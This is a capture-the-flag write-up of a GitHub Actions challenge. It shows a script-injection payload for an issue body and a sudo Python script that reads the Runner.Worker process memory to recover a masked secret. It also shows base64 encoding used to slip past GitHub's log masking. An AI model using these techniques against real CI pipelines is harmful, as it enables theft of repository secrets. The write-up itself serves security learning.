$ cat writeup.md…
$ cat writeup.md…
kitctf
Task: GitHub Actions workflow prints a secret flag (masked by GitHub), then redacts all GPNCTF{...} from disk, then has a script injection via unsanitized issue body interpolation. Solution: exploit script injection for RCE, then dump Runner.Worker process memory via /proc/pid/mem to find the flag's volatile trace in the .NET managed heap, base64-encoding output to bypass GitHub's secret masking.
Diallyl disulfide is one of the main parts that is responsible for the smell of garlic. With a vapor pressure of 1 mmHg at 20 °C, even if most of it is removed, some traces might remain.
Connection: ncat --ssl grilled-orange-atop-sauteed-miso-rwox.gpn24.ctf.kitctf.de 443
English summary: connecting to the service and providing a GitHub username creates a private repository in the GPNCTF24-3 organization containing a GitHub Actions workflow and a FLAG secret. The user is added as a pull collaborator. The goal is to exfiltrate the secret flag despite GitHub's secret masking and an on-disk redaction step.
The ncat service prompts for a GitHub username, then:
GPNCTF24-3/<userid>_<username>_volatile-component-challenge.github/workflows/issue-comment.ymlFLAG containing the real flagThe workflow triggers on issues: [opened] and issue_comment: [created] events and runs three sequential steps:
Step 1 — Print flag:
- name: Print flag run: echo "Flag: ${{ secrets.FLAG }}"
Prints the flag, but GitHub's secret masking engine replaces the exact secret string with *** in all log output.
Step 2 — Redact:
- name: Find and redact all flag occurrences on the filesystem run: | sudo grep -rlP 'GPNCTF\{(?!\.\*\})[^}]+\}' /home/runner/ 2>/dev/null | while read -r file; do sudo sed -i -E 's/GPNCTF\{[^}]+\}/GPNCTF{REDACTED}/g' "$file" done || true
Scans ALL files under /home/runner/ for the flag pattern and replaces every occurrence with GPNCTF{REDACTED}. This catches:
_temp/*.sh_diag/Worker_*.logStep 3 — Process comment (VULNERABLE):
- name: Process comment run: echo "Processing comment: ${{ github.event.comment.body || github.event.issue.body }}"
The issue/comment body is interpolated directly into the shell command without sanitization — a classic GitHub Actions script injection vulnerability.
The challenge implements two defense layers that must both be bypassed:
GitHub secret masking: The exact flag string is replaced with *** in all log output. Any echo or command output containing the literal flag is masked.
On-disk redaction: After step1 prints the flag, step2 finds and replaces every GPNCTF{...} pattern in all files under /home/runner/. By the time step3 (our injection) runs, the flag is gone from disk.
The challenge title ("Volatile Component") and description ("even if most of it is removed, some traces might remain") point to volatile memory — specifically, process memory.
When GitHub Actions expands ${{ secrets.FLAG }} into step1's script, the expanded string echo "Flag: GPNCTF{realflag}" passes through the Runner.Worker .NET process. This process:
But the original expanded string persists in the .NET managed heap of the Runner.Worker process. The disk copy gets redacted, the log output gets masked, but the process memory retains the volatile trace.
By opening an issue with a crafted body, we inject arbitrary shell commands into step3. The body format:
"; <COMMAND>; echo "done
This closes the echo "Processing comment: string, executes our command, and re-opens a string for the trailing " from the template.
Through multiple injection payloads, we confirmed:
sudo is available (passwordless root on GitHub-hosted runners)GPNCTF{...} exists nowhere on disk except as GPNCTF{REDACTED} (36+ copies)secrets.FLAG is not auto-exported)psThe winning payload (issue body):
"; echo FSCAN; echo '<base64-encoded-python-script>' | base64 -d | sudo python3 - 2>&1 | base64 -w0; echo ENDFSCAN; echo "done
The Python script that dumps Runner.Worker process memory:
#!/usr/bin/env python3 import os, re, sys # Find Runner.Worker PIDs pids = [] for n in os.listdir("/proc"): if not n.isdigit(): continue try: c = open("/proc/%s/comm" % n).read().strip() except: continue if c == "Runner.Worker": pids.append(n) # Scan process memory for the expanded step1 script results = [] for pid in pids: try: maps = open("/proc/%s/maps" % pid).read().splitlines() except: continue try: mem = open("/proc/%s/mem" % pid, "rb", 0) except: continue for line in maps: p = line.split() if len(p) < 2 or "r" not in p[1]: continue a, b = p[0].split("-") a = int(a, 16); b = int(b, 16) if b - a > 200 * 1024 * 1024: continue try: mem.seek(a); data = mem.read(b - a) except: continue # Search for "Flag: " followed by the actual flag value # (the expanded step1 script: echo "Flag: GPNCTF{...}") for m in re.finditer(rb"Flag: ([^\n\x00\"]{4,500})", data): val = m.group(1) if b"***" not in val and b"REDACTED" not in val and b"{0}" not in val: results.append(val) print(f"FOUND: {len(results)}") for val in results[:10]: print(val)
The script:
/proc/*/comm/proc/<pid>/maps/proc/<pid>/memFlag: <value> — the expanded step1 script string***), redacted, and template placeholder ({0}) matchesThe Python output is piped through base64 -w0, which encodes the entire output as base64. GitHub's masking engine only matches the exact secret string — the base64-encoded form doesn't match, so it passes through to the log unmasked.
From the Actions log output:
FSCAN
Rk9VTkQ6IDEKYidHUE5DVEZ7ZGlkX3lvdV9rTm9XXzdoNFRfZElhMWxZbF9ESTV1bGZJRDNf...==ENDFSCAN
Decoding the base64:
FOUND: 1
b'GPNCTF{did_you_kNoW_7h4T_dIa1lYl_DI5ulfID3_peNE7rAT3s_ThR0UGH_mOsT_C0MMeRciaL_glov3_7yp35_C4uSIng_6ARl1C_A11Ergy_wHiCh_MO5t_oFten_4Ff3cts_ch3Fs_anD_o7HEr_p3OpL3_THaT_handLE_gaR11c_OuU325JB}'
| Defense | Bypass |
|---|---|
GitHub secret masking (exact string → ***) | Base64-encode all output before printing |
On-disk redaction (sed -i on all /home/runner/ files) | Read process memory instead of files |
| Flag not in environment variables | Search Runner.Worker heap for expanded script string |
| Step ordering (injection runs after redaction) | Process memory retains the volatile trace regardless of disk cleanup |
Searching for GPNCTF{...} in memory only finds GPNCTF{REDACTED} | Search for Flag: <non-masked-value> instead — the expanded step1 script buffer |
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar